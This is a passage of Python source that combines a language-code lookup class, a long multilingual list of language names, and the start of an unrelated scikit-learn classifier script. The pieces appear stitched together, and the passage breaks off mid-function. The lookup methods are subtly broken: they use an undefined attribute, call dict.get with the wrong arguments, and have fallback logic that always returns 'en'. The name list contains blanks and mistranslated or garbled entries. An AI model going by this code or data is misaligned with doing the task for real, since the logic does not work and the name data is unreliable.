str): self.codes_to_names[code] = name self.names_to_codes[name] = code def get_code_for_input(self, values): for val in values: if val in self.names_to_codes: return val if val in self.names_to_names: for name in self.names_to_names[val]: second_val = values[val] if second_val: return self.try_compound(val, second_val) return None def get_code_or_fall_back(self, code: str): if code and not code.isspace(): return "en" code.strip() if code in self.codes_to_names: return code return "en" def try_compound(self, first_val:str, second_val:str): compound = "{} {}".format(first_val, second_val) if self.names_to_codes.get(self, compound): return True compound = "{} {}".format(second_val, first_val) if self.names_to_codes.get(self, compound): return True return False # names for languages in all languages names: list = [ "العربية", "البوسنية", "البلغارية", "الكتالانية", "الصينية المبسطة", "الصينية التقليدية", "الكرواتية", "التشيكية", "الدانماركية", "الهولندية", "الإنكليزية", "الإستونية", "الفنلندية", "الفرنسية", "الألمانية", "اليونانية", "هايتي", "العبرية", "الهندية", "داو الهمونغ", "المجرية", "الإندونيسية", "الإيطالية", "اليابانية", "اللغة السواحيلية", "الكورية", "الكلينجون", "اللاتفية", "الليتوانية", "الماليزية", "المالطية", "النرويجية ‏", "فارسي", "البولندية", "البرتغالية", "ولاية كويريتارو اوتومي", "الرومانية", "الروسية", "اللغة السيريلية الصربية", "الصربية اللاتينية", "السلوفاكية", "السلوفينية", "الإسبانية", "السويدية", "التايلندية", "التركية", "الأوكرانية", "الأوردية", "الفيتنامية", "الويلزية", "يوكاتيك مايا", "arapski", "bosanski", "bugarski", "katalonski", "pojednostavljeni kineski", "tradicionalni kineski", "hrvatski", "češki", "danski", "nizozemski", "engleski", "estonski", "finski", "francuski", "njemački", "grčki", "", "hebrejski", "hindi", "hmong daw", "mađarski", "indonezijski", "talijanski", "japanski", "kiswahili", "korejski", "klingonski", "latvijski", "litvanski", "malajski", "malteški", "norveški", "perzijski", "poljski", "portugalski", "querétaro otomi", "rumunjski", "ruski", "ćir", "", "slovački", "slovenski", "španjolski", "švedski", "tajlandski", "turski", "ukrajinski", "urdu", "vijetnamski", "velški", "", "арабски", "босняшки", "български", "каталонски", "опростен китайски", "традиционен китайски", "хърватски", "чешки", "датски", "холандски", "английски", "естонски", "финландски", "френски", "немски", "гръцки", "хаитянски", "иврит", "хинди", "", "унгарски", "индонезийски", "италиански", "японски", "корейски", "клингонската", "латвийски", "литовски", "малайски", "малтийски", "норвежки", "персийски", "полски", "португалски", "керетаро otomi", "румънски", "руски", "сръбската кирилица", "сръбската латинска", "словашки", "словенски", "испански", "шведски", "тайландски", "турски", "украински", "урду", "виетнамски", "уелски", "yucatec мая", "àrab", "bosnià", "búlgar", "català", "xinès simplificat", "xinès tradicional", "croat", "txeca", "danès", "neerlandès", "anglès", "estonià", "finlandesa", "francès", "alemany", "grec", "crioll haitià", "hebreu", "hindi", "ètnia hmong que daw", "hongarès", "indonèsia", "italià", "japonès", "coreà", "klingon", "letònia", "lituà", "malai", "maltès", "noruec", "persa", "polonès", "portuguès", "querétaro otomí", "romanès", "rus", "serbi", "", "eslovac", "eslovè", "castellà", "suec", "tailandès", "turc", "ucraïnès", "urdú", "vietnamita", "gal·lès", "del segle xvi maya", "阿拉伯语", "波斯尼亚语", "保加利亚语", "加泰隆语", "简体中文", "繁体中文", "克罗地亚语", "捷克语", "丹麦语", "荷兰语", "英语", "爱沙尼亚语", "芬兰语", "法语", "德语", "希腊语", "海地克里奥尔语", "希伯来语", "印地语", "苗族人昂山", "匈牙利语", "印度尼西亚语", "意大利语", "日语", "斯瓦希里语", "朝鲜语", "克林贡语", "拉脱维亚语", "立陶宛语", "马来语", "马耳他语", "挪威语", "波斯语", "波兰语", "葡萄牙语", "克雷塔罗乙巳", "罗马尼亚", "俄语", "塞尔维亚西里尔文", "塞尔维亚语-拉丁文", "斯洛伐克语", "斯洛文尼亚语", "西班牙语", "瑞典语", "泰语", "土耳其语", "乌克兰语", "乌都语", "越南语", "威尔士语", "尤卡坦玛雅", "阿拉伯文", "波士尼亞文", "保加利亞文", "加泰隆語", "簡體中文", "繁體中文", "克羅地亞語", "捷克文", "丹麥文", "荷蘭文", "英語", "愛沙尼亞文", "芬蘭文", "法語", "德語", "希臘文", "海地克裡奧爾語", "希伯來文", "印度文", "匈牙利文", "印尼語", "義大利文", "日語", "史瓦希里文", "朝鮮語", "克林貢語", "拉脫維亞文", "立陶宛文", "馬來文", "馬爾他文", "挪威語", "波斯文", "波蘭文", "葡萄牙文", "克雷塔羅乙巳", "羅馬尼亞", "俄語", "塞爾維亞西瑞爾文", "塞爾維亞文-拉丁文", "斯洛伐克文", "斯洛維尼亞文", "西班牙文", "瑞典文", "泰語", "土耳其文", "烏克蘭文", "烏都語", "越南文", "威爾斯文", "尤卡坦瑪雅", "srpska ćirilica", "srpski latinica", "jukatanskih maja", "arabština", "bosenština", "bulharština", "katalánština", "zjednodušená čínština", "tradiční čínština", "chorvatština", "čeština", "dánština", "holandština", "angličtina", "estonština", "finština", "francouzština", "němčina", "řečtina", "haitská kreolština", "hebrejština", "hindština", "maďarština", "indonéština", "italština", "japonština", "korejština", "klingonská", "lotyština", "litevština", "malajština", "maltština", "norština", "perština", "polština", "portugalština", "rumunština", "ruština", "srbské cyrilici", "srbský (latinka)", "slovenština", "slovinština", "španělština", "švédština", "thajština", "turečtina", "ukrajinština", "urdština", "vietnamština", "velština", "yucatec maya", "arabisk", "bosnisk", "bulgarsk", "catalansk", "kinesisk, forenklet", "kinesisk, traditionelt", "kroatisk", "tjekkisk", "dansk", "nederlandsk", "engelsk", "estisk", "finsk", "fransk", "tysk", "græsk", "haitiansk", "hebraisk", "ungarsk", "indonesisk", "italiensk", "japansk", "koreansk", "lettisk", "litauisk", "malaysisk", "maltesisk", "norsk", "persisk", "polsk", "portugisisk", "rumænsk", "russisk", "serbisk kyrillisk", "serbisk latin", "slovakisk", "slovensk", "spansk", "svensk", "thai", "tyrkisk", "ukrainsk", "vietnamesisk", "walisisk", "arabisch", "bosnisch", "bulgaars", "catalaans", "vereenvoudigd chinees", "traditioneel chinees", "kroatisch", "tsjechisch", "deens", "nederlands", "engels", "estisch", "fins", "frans", "duits", "grieks", "haïtiaans", "hebreeuws", "hongaars", "indonesisch", "italiaans", "japans", "koreaans", "lets", "litouws", "maleis", "maltees", "noors", "perzisch", "pools", "portugees", "roemeens", "russisch", "servisch", "servisch-latijn", "slowaaks", "sloveens", "spaans", "zweeds", "thais", "turks", "oekraïens", "urdu", "vietnamees", "welsh", "yucateeks maya", "arabic", "bosnian", "bulgarian", "catalan", "chinese simplified", "chinese traditional", "croatian", "czech", "danish", "dutch", "english", "estonian", "finnish", "french", "german", "greek", "haitian creole", "hebrew", "hungarian", "indonesian", "italian", "japanese", "korean", "latvian", "lithuanian", "malay", "maltese", "norwegian", "persian", "polish", "portuguese", "romanian", "russian", "serbian cyrillic", "serbian latin", "slovak", "slovenian", "spanish", "swedish", "thai", "turkish", "ukrainian", "vietnamese", "araabia", "bosnia", "bulgaaria", "katalaani", "lihtsustatud hiina", "traditsiooniline hiina", "horvaadi", "tšehhi", "taani", "hollandi", "inglise", "eesti", "soome", "prantsuse", "saksa", "kreeka", "haiiti kreooli", "heebrea", "hmongi daw", "ungari", "indoneesia", "itaalia", "jaapani", "suahiili", "korea", "klingoni", "läti", "leedu", "malta", "norra", "pärsia", "poola", "portugali", "rumeenia", "vene", "serbia keel kirillitsas", "serbia keel ladina tähestikus", "slovaki", "sloveeni", "hispaania", "rootsi", "tai", "türgi", "ukraina", "vietnami", "kõmri", "arabia", "bosnia", "bulgaria", "katalaani", "yksinkertaistettu kiina", "perinteinen kiina", "kroaatti", "tšekki", "tanska", "hollanti", "englanti", "viro", "suomi", "ranska", "saksa", "kreikka", "haitin kieli", "heprea", "unkari", "indonesia", "italia", "japani", "korea", "latvia", "liettua", "malaiji", "malta", "norja", "persia", "puola", "portugali", "romania", "venäjä", "serbian kyrilliset", "serbialainen latinalainen", "slovakki", "sloveeni", "espanja", "ruotsi", "turkki", "ukraina", "vietnam", "kymri (wales)", "suomen maya", "arabe", "bosniaque", "bulgare", "chinois simplifié", "chinois traditionnel", "croate", "tchèque", "danois", "néerlandais", "anglais", "estonien", "finnois", "français", "allemand", "haïtien", "hébreu", "hongrois", "indonésien", "italien", "japonais", "coréen", "letton", "lituanien", "malaisien", "maltais", "norvégien", "perse", "polonais", "portugais", "roumain", "russe", "en serbe cyrillique", "serbe latin", "slovaque", "slovène", "espagnol", "suédois", "thaï", "ukrainien", "vietnamien", "gallois", "maya yucatèque", "bulgarisch", "katalanisch", "chinesisch (vereinfacht)", "chinesisch (traditionell)", "tschechisch", "dänisch", "holländisch", "englisch", "estnisch", "finnisch", "französisch", "deutsch", "griechisch", "haitianisch", "hebräisch", "ungarisch", "italienisch", "japanisch", "koreanisch", "klingonische", "lettisch", "litauisch", "malaiisch", "maltesisch", "norwegisch", "persisch", "polnisch", "portugiesisch", "querétaro otomí", "rumänisch", "serbisch-kyrillisch", "serbischer latein", "slowakisch", "slowenisch", "spanisch", "schwedisch", "thailändisch", "türkisch", "ukrainisch", "vietnamesisch", "walisisch", "yukatekisches maya", "αραβικά", "βοσνιακά", "βουλγαρικά", "καταλανικά", "απλοποιημένα κινεζικά", "παραδοσιακά κινεζικά", "κροατικά", "τσεχικά", "δανικά", "ολλανδικά", "αγγλικά", "εσθονικά", "φινλανδικά", "γαλλικά", "γερμανικά", "ελληνικά", "γλώσσα αϊτής", "εβραϊκά", "χίντι", "ουγγρικά", "ινδονησιακά", "ιταλικά", "ιαπωνικά", "κισουαχίλι", "κορεατικά", "κλίνγκον", "λετονικά", "λιθουανικά", "μαλαϊκά", "μαλτεζικά", "νορβηγικά", "περσικά", "πολωνικά", "πορτογαλικά", "ρουμανικά", "ρωσικά", "σερβικά κυριλλικά", "σέρβικα-λατινικά", "σλοβακικά", "σλοβενικά", "ισπανικά", "σουηδικά", "ταϊλανδικά", "τουρκικά", "ουκρανικά", "ουρντού", "βιετναμικά", "ουαλλικά", "μάγια του γιουκατάν", "arabik", "bosnyen", "bilgari", "chinwa senplifye", "chinwa tradisyonèl", "kwoasyen", "tchekoslovaki", "danwa", "olandè", "angle", "estoni", "fenlandè", "fwansè", "alman", "grèk", "kreyòl ayisyen", "ebre", "lang peyi lend", "montayn hmong daw", "ongaryen", "endonezi", "italyen", "japonè", "koreyen", "lettonie", "malais", "malte", "nòvejyen", "pèsyann", "lapolòy", "pòtigè", "romanyen", "wis", "lettre sèb", "latin sèb", "sloveni", "panyòl", "syedwa", "pon zanmitay tayilandè", "tik", "ikrenyen", "oudou", "vyètnamyen", "ערבית", "בוסנית", "בולגרית", "קטלונית", "סינית פשוטה", "סינית מסורתית", "קרואטית", "צ\'כית", "דנית", "הולנדית", "אנגלית", "אסטונית", "פינית", "צרפתית", "גרמנית", "יוונית", "האיטית", "עברית", "הינדי", "המונג דאו", "הונגרית", "אינדונזית", "איטלקית", "יפנית", "בסווהילי", "קוריאנית", "קלינגונית", "לטבית", "ליטאית", "מלאית", "מלטית", "נורווגית", "פרסית", "פולנית", "פורטוגזית", "רומנית", "רוסית", "סרבית קירילית", "סרבית לטינית", "סלובקית", "סלובנית", "ספרדית", "שוודית", "תאילנדית", "טורקית", "אוקראינית", "אורדו", "וייטנאמית", "וולשית", "מאיה yucatec", "अरबी", "बोस्नियाई", "बल्गारिया", "कातलान", "चीनी सरलीकृत", "चीनी पारंपरिक", "क्रोएशियाई", "चेक", "डैनिश", "डच", "अंग्रेज़ी", "एस्टोनियाई", "फ़िनिश", "फ़्रेंच", "जर्मन", "यूनानी", "हाईटियन क्रियोल", "हिब्रू", "हिंदी", "हमोंग काला कौवा", "हंगेरियन", "इंडोनेशियाई", "इटैलियन", "जापानी", "किस्वाहिली", "कोरियाई", "क्लिंगन", "लातवियाई", "लिथुआनियाई", "मलय", "माल्टीज़", "नॉर्वेजियन", "फ़ारसी", "पोलिश", "पुर्तगाली", "रोमानियाई", "रूसी", "सर्बियन सिरिलिक", "सर्बियन लैटिन", "स्लोवाक", "स्लोवेनियाई", "स्पैनिश", "स्वीडिश", "थाई", "तुर्की", "यूक्रेनियाई", "उर्दू", "वियतनामी", "वेल्श", "युकाटेक माया", "suav yooj yim zog", "nws yog tshuaj hmoob suav", "lus askiv", "fabkis", "lus", "hmoob daw", "lavxias teb sab", "mev", "thaib", "nyab laj", "arab", "boszniai", "bolgár", "katalán", "kínai (egyszerűsített)", "kínai (hagyományos)", "horvát", "cseh", "dán", "holland", "angol", "észt", "finn", "francia", "német", "görög", "haiti kreol", "héber", "magyar", "indonéz", "olasz", "japán", "koreai", "lett", "litván", "maláj", "máltai", "norvég", "perzsa", "lengyel", "portugál", "román", "orosz", "szerb", "szerb latin", "szlovák", "szlovén", "spanyol", "svéd", "török", "ukrán", "vietnami", "walesi", "török", "arab", "bulgaria", "cina sederhana", "cina tradisional", "kroasia", "ceko", "denmark", "belanda", "inggris", "estonia", "finlandia", "prancis", "jerman", "yunani", "bahasa kreol haiti", "ibrani", "hongaria", "indonesia", "italia", "jepang", "latvia", "lithuania", "melayu", "norwegia", "farsi", "polandia", "portugis", "rumania", "rusia", "bahasa sirilik", "serbia latin", "slovakia", "slovenia", "spanyol", "swedia", "turki", "vietnam", "arabo", "bosniaco", "bulgaro", "catalano", "cinese semplificato", "cinese tradizionale", "croato", "ceco", "danese", "olandese", "inglese", "estone", "finlandese", "francese", "tedesco", "greco", "haitiano", "ebraico", "ungherese", "indonesiano", "italiano", "giapponese", "coreano", "lettone", "lituano", "malese", "norvegese", "polacco", "portoghese", "rumeno", "russo", "alfabeto cirillico serbo", "serbo latino", "slovacco", "sloveno", "spagnolo", "svedese", "tailandese", "turco", "ucraino", "gallese", "maya yucateco", "アラビア語", "ボスニア語", "ブルガリア語", "カタロニア語", "簡体字中国語", "繁体字中国語", "クロアチア語", "チェコ語", "デンマーク語", "オランダ語", "エストニア語", "フィンランド語", "フランス語", "ドイツ語", "ギリシャ語", "ハイチ語", "ヘブライ語", "ヒンディー語", "もん族 daw", "ハンガリー語", "インドネシア語", "イタリア語", "日本語", "スワヒリ語", "韓国語", "クリンゴン語", "ラトビア語", "リトアニア語", "マレー語", "マルタ語", "ノルウェー語", "ペルシャ語", "ポーランド語", "ポルトガル語", "ケレタロ大富", "ルーマニア語", "ロシア語", "セルビア語キリル文字", "セルビア語ラテン語", "スロバキア語", "スロベニア語", "スペイン語", "スウェーデン語", "タイ語", "トルコ語", "ウクライナ語", "ウルドゥ語", "ベトナム語", "ウェールズ語", "ユカテク語マヤ", "kiarabu", "kibosnia", "kibulgaria", "kikatalan", "kichina rahisi", "kichina cha zamani", "kikroashia", "kicheki", "kidanishi", "kiholanzi", "kiingereza", "kiestonia", "kifinishi", "kifaransa", "kijerumani", "kigiriki", "kikrioli cha haiti", "kiebrania", "kihindi", "kihangaria", "kiindoneshia", "kiitaliano", "kijapani", "kikorea", "kilatvia", "kilithuania", "kimalay", "kimalta", "kinowiji", "kipersia", "kipolishi", "kireno", "kirumi", "kirusi", "kisirili kiserbia", "kilatini kiserbia", "kislovaki", "kislovenia", "kihispania", "kiswidi", "kithai", "kituruki", "kiukreini", "kiurdu", "kivietinamu", "kiwelshi", "아랍어", "보스니아어", "불가리어", "카탈로니아어", "중국어 간체", "중국어 번체", "크로아티아어", "체코어", "덴마크어", "네덜란드어", "영어", "에스토니아어", "핀란드어", "프랑스어", "독일어", "그리스어", "아이티어", "히브리어", "힌디어", "흐몽 어 갈가 마 귀", "헝가리어", "인도네시아어", "이탈리아어", "일본어", "한국어", "클 링 온", "라트비아어", "리투아니아어", "말레이어", "몰타어", "노르웨이어", "페르시아어", "폴란드어", "포르투갈어", "케레타로 otomi", "루마니아어", "러시아어", "세르비아어 키릴 자모", "세르비아어-라틴", "슬로바키아어", "슬로베니아어", "스페인어", "스웨덴어", "태국어", "터키어", "우크라이나어", "우르두어", "베트남어", "웨일스어", "arabic", "bosnian", "bulgarian", "catalan", "chinese simplified", "chinese potlhmeydaq", "croatian", "czech", "maghbogh", "dutch", "english hol", "estonian", "finnish", "french", "german", "greek", "haitian creole", "hebrew", "hmong daw", "hungarian", "indonesian", "italian", "japanese", "kiswahili", "korean", "tlhingan", "latvian", "lithuanian", "malay", "maltese", "norwegian", "persian", "polish", "portuguese", "querétaro otomi", "romanian", "russian", "serbian cyrillic", "serbian latin", "slovak", "slovenian", "spanish", "swedish", "turkish", "ukrainian", "vietnamese", "welsh", "yucatec maya", "arābu", "bosniešu", "bulgāru", "kataloniešu", "ķīniešu vienkāršotā", "ķīniešu tradicionālā", "horvātu", "čehu", "dāņu", "holandiešu", "angļu", "igauņu", "somu", "franču", "vācu", "grieķu", "haiti kreoliete", "ivrits", "ungāru", "indonēziešu", "itāliešu", "japāņu", "korejiešu", "latviešu", "lietuviešu", "malajiešu", "maltiešu", "norvēģu", "persiešu", "poļu", "portugāļu", "rumāņu", "krievu", "serbu kiriliskā", "serbu latīņu", "slovāku", "slovēņu", "spāņu", "zviedru", "taju", "turku", "ukraiņu", "vjetnamiešu", "velsiešu", "arabų", "bosnių", "bulgarų", "katalonų", "kinų supaprastinta", "kinų tradicinė", "kroatų", "čekų", "danų", "olandų", "anglų", "estų", "suomių", "prancūzų", "vokiečių", "graikų", "haičio kreolų", "hebrajų", "vengrų", "indoneziečių", "italų", "japonų", "principai", "korėjos", "latvių", "lietuvių", "malajų", "maltos", "norvegų", "persų", "lenkų", "portugalų", "rumunų", "rusų", "serbų kirilica", "serbų (lotyniška)", "slovakų", "slovėnų", "ispanų", "švedų", "tajų", "turkų", "ukrainiečių", "vietnamiečių", "valų", "jukatekų majų", "catalonia", "cina ringkas", "croatia", "inggeris", "finland", "perancis", "kreol haiti", "daw bahasa kantonis", "hungary", "itali", "jepun", "norway", "parsi", "poland", "romania", "cyrillic serbia", "latin serbia", "sepanyol", "sweden", "ukraine", "wales", "għarbi", "bożnijan", "bulgaru", "katalan", "ċiniż issimplifikat", "ċiniż tradizzjonali", "kroat", "ċeka", "daniż", "olandiż", "ingliż", "estonjan", "fillandiż", "franċiż", "ġermaniż", "grieg", "ħajtjan (krejol)", "lhudi", "ħindi", "ungeriż", "indoneżjan", "taljan", "ġappuniż", "korejan", "latvjan", "litwan", "mależjan", "malti", "norveġjan", "persjan", "pollak", "portugiż", "rumen", "russu", "cyrillic serbi", "latina serbi", "slovakk", "sloven", "spanjol", "svediż", "tajlandiż", "tork", "ukren", "vjetnamiż", "arabisk", "bosniske", "bulgarsk", "katalansk", "forenklet kinesisk", "tradisjonell kinesisk", "kroatisk", "tsjekkisk", "dansk", "nederlandsk", "engelsk", "estisk", "finsk", "fransk", "tysk", "gresk", "haitisk kreolsk", "hebraisk", "ungarsk", "indonesisk", "italiensk", "japansk", "koreansk", "latvisk", "litauisk", "malayisk", "maltesisk", "norsk", "polsk", "portugisisk", "querétaro enten", "rumensk", "russisk", "serbisk", "slovakisk", "slovensk", "spansk", "svenske", "tyrkisk", "ukrainsk", "vietnamesisk", "walisisk", "عربی", "بوسنیایی", "بلغاری", "کاتالان", "چینی ساده شده", "چینی سنتی", "کرواتی", "چک", "دانمارک", "هلندی", "انگلیسی", "استونیایی", "فنلاندی", "فرانسه", "آلمانی", "یونانی", "زبان کریول آییسینی", "عبری", "هندی", "همونگ ادم کند و تنبل", "مجارستان", "اندونزی", "ایتالیایی", "ژاپنی", "kiswahili تهیه شده است", "کره ای", "کلینگون", "لتونی", "لیتوانی", "مالایی", "مالتی", "نروژی", "فارسی", "لهستانی", "پرتغالی", "رومانیایی", "روسی", "صربستان سیریلیک", "صربستان لاتین", "اسلواکی", "اسلوونیایی", "اسپانیایی", "سوئد", "تایلندی", "ترکیه", "اوکراینی", "اردو", "ویتنامی", "ویلز", "مایا yucatec", "arabski", "bośniacki", "bułgarski", "kataloński", "", "", "chorwacki", "czeski", "duński", "holenderski", "angielski", "estoński", "fiński", "francuski", "niemiecki", "grecki", "haitański", "hebrajski", "węgierski", "indonezyjski", "włoski", "japoński", "koreański", "klingoński", "łotewski", "litewski", "malajski", "maltański", "norweski", "perski", "polski", "portugalski", "rumuński", "rosyjski", "serb.", "", "słowacki", "słoweński", "hiszpański", "szwedzki", "tajski", "turecki", "ukraiński", "wietnamski", "walijski", "árabe", "bósnio", "búlgaro", "catalão", "chinês simplificado", "chinês tradicional", "croata", "tcheco", "dinamarquês", "holandês", "inglês", "estoniano", "finlandês", "francês", "alemão", "grego", "hebraico", "húngaro", "indonésio", "japonês", "letão", "malaio", "maltês", "norueguês", "polonês", "português", "romeno", "sérvio cirílico", "sérvio-latino", "eslovaco", "esloveno", "espanhol", "sueco", "tailandês", "ucraniano", "galês", "iucateque", "bosnio", "catalán", "txino simplificado", "txino pa mahä'mu̲", "checo", "danés", "holandés", "ra ingles", "estonio", "finlandés", "francés", "alemän", "griego", "", "hebreo", "indonesio", "japonés", "letón", "malayo", "maltés", "noruego", "polaco", "portugués", "", "rumano", "ruso", "cirílico servio", "serbio latino", "hñämfo̲", "tailandés", "galés", "maya yucateco", "arabă", "bosniacă", "bulgară", "catalană", "chineză simplificată", "chineză tradiţională", "croată", "cehă", "daneză", "olandeză", "engleză", "estonă", "finlandeză", "franceză", "germană", "greacă", "creolă haitiană", "ebraică", "maghiară", "indoneziană", "italiană", "japoneză", "coreeană", "klingoniană", "letonă", "lituaniană", "malaieză", "malteză", "norvegiană", "persană", "poloneză", "portugheză", "română", "rusă", "sârbă-chirilică", "sârbă-latină", "slovacă", "slovenă", "spaniolă", "suedeză", "turcă", "ucraineană", "vietnameză", "velşă", "арабский", "боснийский", "болгарский", "каталанский", "китайский упрощенный", "китайский традиционный", "хорватский", "чешский", "датский", "нидерландский", "английский", "эстонский", "финский", "французский", "немецкий", "греческий", "гаитянский", "иврит", "хинди", "оупж хмонг", "венгерский", "индонезийский", "итальянский", "японский", "суахили", "корейский", "клингонский", "латышский", "литовский", "малайский", "мальтийский", "норвежский", "персидский", "польский", "португальский", "керетаро отоми", "румынский", "русский", "сербская кириллица", "сербская латинской", "словацкий", "словенский", "испанский", "шведский", "тайский", "турецкий", "украинский", "урду", "вьетнамский", "валлийский", "юкатекский", "арапски", "босански", "бугарски", "каталонски", "кинески поједностављени", "кинески традиционални", "хрватски", "чешки", "дански", "холандски", "енглески", "естонски", "фински", "француски", "немачки", "грчки", "хаићански креолски", "хебрејски", "хинду", "госпоро хмонга", "мађарски", "индонежански", "италијански", "јапански", "свахили", "кореански", "клингонски", "летонски", "литвански", "малајски", "малтешки", "норвешки", "персијски", "пољски", "португалски", "qуерéтаро отоми", "румунски", "руски", "српска ћирилица", "српски латиница", "словачки", "словенски", "шпански", "шведски", "тајландски", "турски", "украјински", "вијетнамски", "велшански", "yуцатец маyа", "kineski pojednostavljeni", "kineski tradicionalni", "holandski", "nemački", "hindu", "gospoрo hmonga", "indonežanski", "italijanski", "svahili", "koreanski", "letonski", "persijski", "rumunski", "španski", "velšanski", "arabčina", "bosniansky jazyk", "bulharčina", "katalánčina", "čínština (zjednodušená)", "čínština (tradičná)", "chorvátčina", "čeština", "dánčina", "holandčina", "angličtina", "estónčina", "fínčina", "francúzština", "nemčina", "gréčtina", "haitskej kreolský", "hebrejčina", "hindčina", "maďarčina", "indonézština", "taliančina", "japončina", "kórejčina", "lotyština", "litovčina", "malajčina", "maltčina", "nórčina", "perzština", "poľština", "portugalčina", "otomo querétaro", "rumunčina", "ruština", "srbský (cyrilika)", "srbská latinčina", "slovenčina", "slovinčina", "španielčina", "švédčina", "thajčina", "turečtina", "ukrajinčina", "urdčina", "vietnamčina", "waleština", "arabščina", "bošnjaški jezik", "bolgarščina", "katalonščina", "poenostavljena kitajščina", "tradicionalna kitajščina", "hrvaščina", "češčina", "danščina", "nizozemščina", "angleščina", "estonščina", "finščina", "francoščina", "nemščina", "grščina", "hebrejščina", "hindijščina", "madžarščina", "indonezijščina", "italijanščina", "japonščina", "korejščina", "klingonščina", "latvijščina", "litovščina", "malajščina", "malteščina", "norveščina", "perzijščina", "poljščina", "portugalščina", "romunščina", "ruščina", "srbsko", "srb latinski", "slovaščina", "slovenščina", "španščina", "švedščina", "tajščina", "turščina", "ukrajinščina", "vietnamščina", "valižanščina", "chino simplificado", "chino tradicional", "inglés", "alemán", "español", "arabiska", "bosniska", "bulgariska", "katalanska", "kinesiska, förenklad", "kinesiska, traditionell", "kroatiska", "tjeckiska", "danska", "nederländska", "engelska", "estniska", "finska", "franska", "tyska", "grekiska", "haitiska", "hebreiska", "ungerska", "indonesiska", "italienska", "japanska", "koreanska", "klingonska", "lettiska", "litauiska", "malajiska", "maltesiska", "norska", "persiska", "polska", "portugisiska", "rumänska", "ryska", "serbisk kyrilliska", "serbiska-latin", "slovakiska", "slovenska", "spanska", "svenska", "turkiska", "ukrainska", "vietnamesiska", "walesiska", "อาหรับ", "บอสเนีย", "เบลเยียม", "คาตาลัน", "จีนประยุกต์", "จีนดั้งเดิม", "โครเอเชีย", "เชก", "เดนมาร์ก", "ดัทช์", "อังกฤษ", "เอสโทเนีย", "ฟินแลนด์", "ฝรั่งเศส", "เยอรมัน", "กรีก", "ชาวเฮติ", "เฮบรู", "ฮินดี", "ม้งทะเล", "ฮังการี", "อินโดนีเซีย", "อิตาลี", "ญี่ปุ่น", "กีสวาฮีลี", "เกาหลี", "คลิงออน", "ลัตเวีย", "ลิธัวเนีย", "มาเลย์", "มอลเทส", "นอร์เวย์", "เปอร์เซีย", "โปแลนด์", "โปรตุเกส", "otomi ซึ่ง", "โรมาเนีย", "รัสเซีย", "เซอร์เบียซิริลลิก", "ละตินเซอร์เบีย", "สโลวัค", "สโลวีเนีย", "สเปน", "สวีเดน", "ไทย", "ตุรกี", "ยูเครน", "เออร์ดู", "เวียดนาม", "เวลช์", "arapça", "boşnakça", "bulgarca", "katalanca", "basitleştirilmiş çince", "geleneksel çince", "hırvatça", "çekçe", "danca", "hollanda dili", "İngilizce", "estonca", "fince", "fransızca", "almanca", "yunanca", "haitice", "İbranice", "hintçe", "macarca", "endonezya dili", "İtalyanca", "japonca", "kore dili", "letonca", "litvanca", "malay dili", "malta dili", "norveç dili", "farsça", "lehçe", "portekizce", "rumence", "rusça", "sırpça", "sırp latin", "slovakça", "slovence", "İspanyolca", "İsveç dili", "tay dili", "türkçe", "ukrayna dili", "urduca", "vietnam dili", "galce", "арабська", "боснійська", "болгарська", "каталанська", "китайська (спрощене письмо)", "китайська (традиційне письмо)", "хорватська", "чеська", "датська", "нідерландська", "англійська", "естонська", "фінська", "французька", "німецька", "грецька", "гаїтянська креольська", "іврит", "хінді", "хмонг жи", "угорська", "індонезійська", "італійська", "японська", "суахілі", "корейська", "клінгонскій", "латиська", "литовська", "малайська", "мальтійська", "норвезька", "перська", "польська", "португальська", "керетаро отом", "румунська", "російська", "сербська кирилична", "сербська (латиниця)", "словацька", "словенська", "іспанська", "шведська", "тайська", "турецька", "українська", "в\'єтнамська", "валлійська", "юкатецька", "بوسنين", "بلگيرين", "کٹالن", "آسان چائنيز", "ثقافتی چائنيز", "کروٹيئن", "کزکھ", "ڈينش", "ڈچ", "انگريزی", "اسٹونين", "فنش", "فرنچ", "جرمن", "يونانی", "ہيتيئن کريول", "اسرائيلی", "ہندی", "ہنگرين", "انڈونيشين", "اطالوی", "جاپانی", "سواحلی", "کوريئن", "کلنگاون", "لاتوين", "لتھونيئن", "مالے", "مالٹيز", "نارويجين", "پولش", "پرتگال", "querétaro اوٹوما", "رومانيئن", "رشئن", "سربیائی سیریلیائی", "سربیائی لاطینی", "سلووک", "سلووينيئن", "سپينش", "سؤڈش", "تھائ", "ترکش", "يوکرينيئن", "ويتناميز", "ويلش", "یوکٹیک مایا", "tiếng ả rập", "tiếng bulgaria", "tiếng catalan", "tiếng trung giản thể", "trung quốc truyền thống", "séc", "đan mạch", "hà lan", "tiếng anh", "tiếng estonia", "phần lan", "tiếng pháp", "đức", "hy lạp", "tiếng hebrew", "tiếng hin-ddi", "ý", "nhật bản", "hàn quốc", "tiếng latvia", "tiếng mã lai", "xứ man-tơ", "na uy", "ba tư", "ba lan", "tiếng bồ đào nha", "rumani", "nga", "serbia cyrillic", "tiếng slovak", "tiếng slovenia", "tiếng tây ban nha", "thụy điển", "thái lan", "thổ nhĩ kỳ", "tiếng ukraina", "tiếng urdu", "việt nam", "tiếng wales", "arabeg", "bosnieg", "bwlgareg", "catalaneg", "tsieinëeg (wedi ei symyleiddio)", "tsieinëeg (traddodiadol)", "croateg", "tsieceg", "daneg", "iseldireg", "saesneg", "estoneg", "ffineg", "ffrangeg", "almaeneg", "iaith groeg", "creol haiti", "hebraeg", "hwngareg", "indoneseg", "eidaleg", "siapaneeg", "corëeg", "latfeg", "lithwaneg", "maleieg", "malteg", "norwyeeg", "perseg", "pwyleg", "portiwgeeg", "rwmaneg", "rwsieg", "cyrilig serbia", "lladin serbia", "slofaceg", "slofeneg", "sbaeneg", "swedeg", "twrceg", "wrceineg", "wrdw", "fietnameg", "cymraeg", "xokiko'ob catalan", "chino xíiw", "ingles", "frances", "japones", "káastelan", "maaya yucateco" ] ### --- 0. the utilities.py conatin the function preproccessAndSplit() and scores() from static.Scripts.utilities import * import warnings from imblearn.over_sampling import RandomOverSampler # need to be installed !pip install imblearn from sklearn.linear_model import LogisticRegression,Perceptron from sklearn.neighbors import KNeighborsClassifier from sklearn.tree import DecisionTreeClassifier from sklearn.svm import LinearSVC, SVC from sklearn.ensemble import RandomForestClassifier warnings.filterwarnings('ignore') #### ---- 1. Logistique Regression : def logisticregression(df,features,target): X, x_train,x_test,y_train,y_test = preproccessAndSplit(df,features,target) x_train,y_train = RandomOverSampler(random_state=123).fit_resample(x_train, y_train) model = LogisticRegression(random_state = 123,n_jobs = -1) model.fit(x_train, y_train) return X, x_test, y_test, model #### ---- 2. KNN (KNeighborsClassifier) : def KNClassifier(df,features 